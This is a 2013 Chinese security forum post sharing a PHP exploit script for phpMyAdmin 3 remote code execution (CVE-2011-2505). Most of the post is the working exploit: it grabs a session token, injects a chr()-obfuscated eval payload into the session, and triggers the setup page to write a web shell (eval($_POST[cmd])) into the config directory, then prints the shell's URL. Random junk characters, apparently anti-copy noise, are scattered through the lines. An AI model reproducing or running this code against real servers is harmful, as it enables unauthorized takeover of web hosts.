找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1985|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。/ p8 N: T- [5 u! |) Z2 I/ A
2 S' X( E  e+ u
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。4 Z( j# M7 @0 ^* X+ {

5 b. @! e) _6 @& f. n首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:9 D' s6 B4 Z0 C# ?" I2 q+ ~/ c
一是session.auto_start = 1;5 L# P. e. U" w5 `8 S
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。1 t+ W. N9 }1 e3 T3 W8 d3 h
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。4 ~' M9 e+ X+ N& c8 q8 K# w

! ]/ |9 {, |8 i$ ~3 s% }在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。' w" D' f4 Z" y# h. ]- A& O& i

5 P  V1 }9 E9 P; E. s. i于是写了这个php版本的exp,代码如下:9 u4 q$ u4 l8 G9 m" A: h' }2 {
8 A# A0 ?9 x4 L  m
#!/usr/bin/php& C/ D3 u6 I# v+ c; Y
<?php
$ @4 H+ X" S& Y$ Cprint_r('
: ?" ^6 c+ z6 T6 ~* j5 b+---------------------------------------------------------------------------+
/ b  u0 ~4 A' N: H! N% Ipma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]! f! e$ I7 ]; C" H5 G
by oldjun(www.oldjun.com)
3 {- G) `) n5 o. O5 c$ [# fwelcome to www.t00ls.net% Q/ ~- w" A8 {, g# r9 b9 m9 v# f  M5 \
mail: oldjun@gmail.com8 C% n) o$ `6 Z
Assigned CVE id: CVE-2011-2505% `: o; w' d8 L7 v* ~: E9 _2 V
+---------------------------------------------------------------------------+
4 A# B9 `! w$ y& I* e3 c8 {');
( ~, C% B/ r8 ?8 X" F! a5 S9 e* \3 C# }5 H4 d8 M$ @
/**" u; i; u$ E8 C3 e! s
* working when the directory:"config" exists and is writeable.  f4 J. K  `5 j' V' f. e* K
**/
) v: V# V; L7 A+ g& k
' L6 A7 k2 ~+ s/ uif ($argc < 3) {9 I* W, y8 w2 a, J! }1 p: m
    print_r('
5 V  K: P. v/ a' `3 q+---------------------------------------------------------------------------+
* q; g: g0 i+ r& ]6 rUsage: php '.$argv[0].' host path. w# A9 Z# K7 Y8 }0 O9 r5 E8 U
host:      target server (ip/hostname)
4 U, g: A9 _; U6 f- i  Ipath:      path to pma3
: S$ V( Y- B) M5 G: t7 iExample:3 d; T6 N& T; j
php '.$argv[0].' localhost /pma/
  H$ a5 _$ S+ A3 V  F+---------------------------------------------------------------------------+" `9 k  N: M9 w, h# a. d
');
6 W0 Q5 z: r# T0 Q    exit;: `& Y9 P/ n. `) A
}3 {" Z" C, c9 v9 p

7 D, @1 z1 J1 c) }) C$host = $argv[1];
+ U$ v, o, z% s0 ?7 b$path = $argv[2];! r) Y2 h# h4 B5 n+ _5 u  Y9 C2 Q! o

7 V% D+ o9 N7 a! j- D' |/**! ~( C- Q* K& L- G
* Try to determine if the directory:"config" exists
$ m0 f' ?3 G8 `**/2 a9 \  h! o9 b& a& S) W' |) X3 `. G
echo "[+] Try to determine if the directory:config exists....\n";
" r0 B# g$ f! L, P& L: Z6 c* c$returnstr=php_request('config/');' Q+ M% V) l3 b# t( l  G
if(strpos($returnstr,'404')){/ D7 ?( A1 F& u. \
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
5 @7 b3 a' @& t! @; k4 O}
- B0 ^& a! @" A) V# d
$ p8 z* u5 p: I$ S6 N- I+ w$ F/**
8 T' i+ K; H# B( W' v7 B" T * Try to get token and sessionid
% [. ?0 e4 h* q- @( Z. c$ i" k/ m**/' t+ z( |* F7 Q0 w. K+ \( ]
echo "[+] Try to get token and sessionid....\n";
, M2 g& O+ V2 M' a2 d$result=php_request('index.php');
- v! }$ n2 r( m) r8 Qpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);+ z0 X/ l/ t& t0 }/ m3 ~/ j
$token=$resp[3];% o# X9 t1 |8 V
$sessionid=$resp[1];
4 Q1 g8 I& D" ?9 [& H$ X! Bif($token && $sessionid){+ Z( P  W2 E/ z1 o: W; d5 k
    echo "[+] tokentoken\n";
/ ^6 q3 S% \- T% ^" Z* `    echo "[+] Session IDsessionid\n";4 j, B, ?' Z7 _8 R9 R% r3 C
}else{4 D2 ?% r/ e5 c& o6 l# Y
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
7 R$ @7 Y$ p0 p4 \7 }}
: x( |& |1 ?8 r" z. |4 {* @, j' ?1 r3 {9 f& ]' l
/**
+ t( Q8 x3 M. F2 k1 h# F. P * Try to insert shell into session8 t5 z$ S; i( ~0 U+ N  H# W2 v* n
**/# [$ V$ J) h. o% b3 O" Y5 i
echo "[+] Try to insert shell into session....\n";
/ f6 F" D+ U$ M6 V( u) P3 {6 Hphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
# C4 O' c( e  O, n6 M6 Z( z+ W
0 X* ]5 @5 k7 a9 ~6 ]% K5 U  g/**
' T0 l6 x' v1 J0 j" s, E * Try to create webshell" ?! |8 j4 }" z% k
**/
8 i  C, q6 p/ r% becho "[+] Try to create webshell....\n";
' l0 I. R) w; s) r' Cphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
3 L' I# ]- W4 J7 m! `! g, N, \/**5 }- K5 d7 w$ J! B; k$ I9 ^
* Try to check if the webshell was created successfully& G5 {+ N; _/ A7 a" }7 d* J
**/* ?$ R7 Y7 s8 H6 k% v  Y
echo "[+] Try to check if the webshell was created successfully....\n";* V1 x( Q9 k6 \! u% B9 g
$content=php_request('config/config.inc.php');
& r% z. o) V0 _1 z' t  T! oif(strpos($content,'t00ls')){8 H+ P6 [1 ~/ K) ?- z
    echo "[+] Congratulations! Expoilt successfully....\n";% x7 E: J% k3 K; C3 j7 _
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";+ e1 m) z8 `9 `( P- a5 B
}else{
- }" |1 q# d4 n    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");8 h( v$ [/ D- K2 y  X
}
+ V% n; D3 u' R; u; B
+ r& G* H! m" S! \) Kfunction php_request($url,$data='',$cookie=''){( i- E/ z" U) n: D1 d# A  {% j
    global  $host, $path;
: @) G5 }- S  P" \" y1 @" i    8 f" _* i, R: z. w1 i7 d* q
    $method=$data?'POST':'GET';5 T2 z& X5 A7 r* R, O9 O: V- x  {
    5 v  H$ U9 j" W! c; p/ c/ ^. ?
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
7 ^0 j! W" x. b& ^& H4 P8 n% B    $packet .= "Accept: */*\r\n";
; G0 ^* g. o! K    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
; S+ V0 r( P+ N: B0 |* V' P' G$ G    $packet .= "Host: $host\r\n";
4 o% [( L" w0 z1 f    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";5 j9 K! {! D; s$ D
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
' ^' C4 N5 `8 C; v/ ^/ a" M    $packet .= $cookie?"Cookie: $cookie\r\n":"";
* H  a. y( G" B8 H2 \5 g% e7 y3 |5 J    $packet .= "Connection: Close\r\n\r\n";' s! j* T$ p5 T' U
    $packet .= $data?$data:"";
; @# J% z* C( M0 [/ u8 L
" I- q. w! v; I( y: F0 Q$ q" ?$ o* }2 L    $fp = fsockopen(gethostbyname($host), 80);7 D; [" F+ U5 d2 j8 i
    if (!$fp) {
8 j. l; ?. E# z' l, ^0 |8 Z    echo 'No response from '.$host; die;) K9 L) Z, [' Q4 i
    }
8 j, V; {6 ~4 D% j: P, J2 U    fputs($fp, $packet);
1 \5 W1 t( O1 X/ _
5 A; R) s5 [: Y    $resp = '';- X. |& ~8 L, {, }

* S% `/ f- A9 K2 U! g3 n) G  P    while ($fp && !feof($fp))
# R( Q" h4 ~$ e4 t        $resp .= fread($fp, 1024);5 S$ F) T$ p6 u0 e
! |  T+ V5 R3 W0 R* t4 t
    return $resp;
6 K3 v' F7 D2 I; U2 n3 \9 |' l  a}
0 q/ A8 e7 X; ?7 ^: b: A7 j    ( e+ g* T6 p0 B# P3 i" E* y
?> 6 R2 z+ O4 g2 [) I
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表